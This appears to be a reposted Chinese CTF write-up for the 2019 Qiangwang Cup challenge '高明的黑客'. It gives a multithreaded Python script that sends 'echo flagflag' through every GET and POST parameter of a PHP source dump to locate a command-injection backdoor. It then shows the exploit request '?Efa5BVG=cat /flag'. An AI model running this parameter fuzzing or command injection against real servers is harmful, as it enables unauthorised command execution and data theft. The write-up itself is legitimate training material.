当前位置: 首页 > news >正文

[强网杯 2019]高明的黑客

根据提示直接下载源码文件。发现有好多php文件啊,怎么找有用的信息呢?文件命名挺奇怪的感觉,搜flag也没发现可以利用的代码。看了一眼答案,需要利用脚本。

通过搜索system我们可以看到很多system($_GET['pTMMqrhXV'] ?? ' ');类似这种可能存在命令执行的语句,但是几乎都无法由用户自由控制参数。

那就需要一个脚本不断测试所有请求的参数,看看能不能执行命令。

脚本思路:

对于每个文件,找到其中所有POST和GET的参数,全部上传'echo flagflag',然后携带所有参数发起请求,检查响应中有没有flagflag,用来寻找存在命令执行的文件。找到该文件后,再使用同样的方法对每个GET和POST参数分别发起请求,用来寻找具体存在命令执行的参数。利用多线程提升效率。由于我们有源码,所以最好在本地测试,避免访问限制。

import os
import requests
import re
import threading# 利用信号量设置最大线程数(同步机制中允许同时访问资源的最大线程数量)
s1 = threading.Semaphore(100)
# 设置os路径
filePath = r"D:\ApplicationSoftware\phpStudy_64\phpstudy_pro\WWW\src\game"
os.chdir(filePath)
# 设置默认的 HTTP 请求重试次数,必须配合session使用才生效
requests.adapters.DEFAULT_RETRIES = 5
# 提取目录中的所有文件
files = os.listdir(filePath)
# 创建会话(Session)对象,方便使用默认请求重试次数
session = requests.session()
session.keep_alive = Falsedef find_param(file):# 获取一个资源s1.acquire()# 输出运行信息,如果测试正常的话可以注释掉再运行,更清晰一点# print('[@]trying  ' + file + '......')# 一个线程处理一个文件with open(file, encoding='utf-8') as f:# 读取文件内容content = f.read()# 匹配GET参数名gets = list(re.findall(r"\$_GET\[\'(.*?)\'\]", content))# print(gets)# 匹配POST参数名posts = list(re.findall(r'\$_POST\[\'(.*?)\'\]', content))# print(posts)# 设置所有请求参数params = {m: 'echo flagflag' for m in gets}data = {m: 'echo flagflag' for m in posts}url = f'http://localhost/src/game/{file}'# 上传所有参数一起访问req = session.post(url, params=params, data=data)# 关闭请求释放内存req.close()req.encoding = 'utf-8'# print(req.text)if "flagflag" in req.text:print(f"[@]找到目标文件:{file}")# 测试每个GET参数for m in gets:single_param = {m: 'echo flagflag'}req = session.get(url, params=single_param, timeout=10)if 'flagflag' in req.text:print(f"[+]找到有效GET参数:{m} 在文件 {file}")req.close()# 测试每个POST参数for m in posts:single_data = {m: 'echo flagflag'}req = session.post(url, data=single_data, timeout=10)if 'flagflag' in req.text:print(f"[+]找到有效POST参数:{m} 在文件 {file}")req.close()# 释放线程s1.release()for file in files:threading.Thread(target=find_param, args=(file,)).start()

结果:[+]找到有效GET参数:Efa5BVG 在文件 xk0SzyKwfzw.php

访问/xk0SzyKwfzw.php?Efa5BVG=cat /flag  拿到flag!!!

总结一下:这道题主要考察脚本能力,需要多动手才熟练。同样重要的是思路,对于如此大量的源码,需要从中找到线索,例如这道题就是system命令执行。

http://www.dtcms.com/a/294612.html

相关文章:

  • iOS加固工具有哪些?企业级团队协作视角的实战分析
  • 【浏览器插件冲突】Edge浏览器加载不出来CSDN创作者中心
  • SpringBoot07-数据层的解决方案:SQL
  • 【科研绘图系列】R语言绘制黑白填充等显著性标记条形图
  • 华为仓颉编程语言实践体验
  • 基于Springboot的中药商城管理系统/基于javaweb的中药材销售系统
  • 海外短剧系统开发:技术架构与市场机遇深度解析
  • 华为7月23日机考真题
  • 华为高频算法题:最长连续递增子序列(Longest Continuous Increasing Subsequence)
  • 【JVM】从 JVM 整体说明 JVM 运行的完整流程
  • Redis MCP 安装与配置完整指南
  • 83、设置有人DTU设备USR-M100采集传感器数据,然后上传阿里云服务
  • 卷积神经网络:模型评估标准
  • Qt容器类:QList、QMap等的高效使用
  • 2025年7月份实时最新获取地图边界数据方法,省市区县街道多级联动【文末附实时geoJson数据下载】
  • 闲庭信步使用图像验证平台加速FPGA的开发:第三十一课——车牌识别的FPGA实现(3)车牌字符分割预处理
  • 从零开始学习Dify-Excel数据可视化(四)
  • PHP面向对象高级应用:依赖注入、服务容器与PSR标准实现
  • STL学习(四、队列和堆栈)
  • CSP-J系列【2023】P9751 [CSP-J 2023] 旅游巴士题解
  • 变频器实习DAY12
  • 接入海康设备mark全是false解决方案
  • Elasticsearch整合:Repository+RestClient双模式查询优化
  • 【杂谈】-代理协议:重塑AI协作新生态,开启智能互联新时代
  • 开闭原则在C++中的实现
  • InfluxDB HTTP API 接口调用详解(二)
  • [HarmonyOS] 鸿蒙LiteOS-A内核深度解析 —— 面向 IoT 与智能终端的“小而强大”内核
  • 算法第27天|贪心算法:合并区间 、单调递增的数字
  • 面试实战,问题七,Object类中包含哪些常用方法及其作用,怎么回答
  • biji 1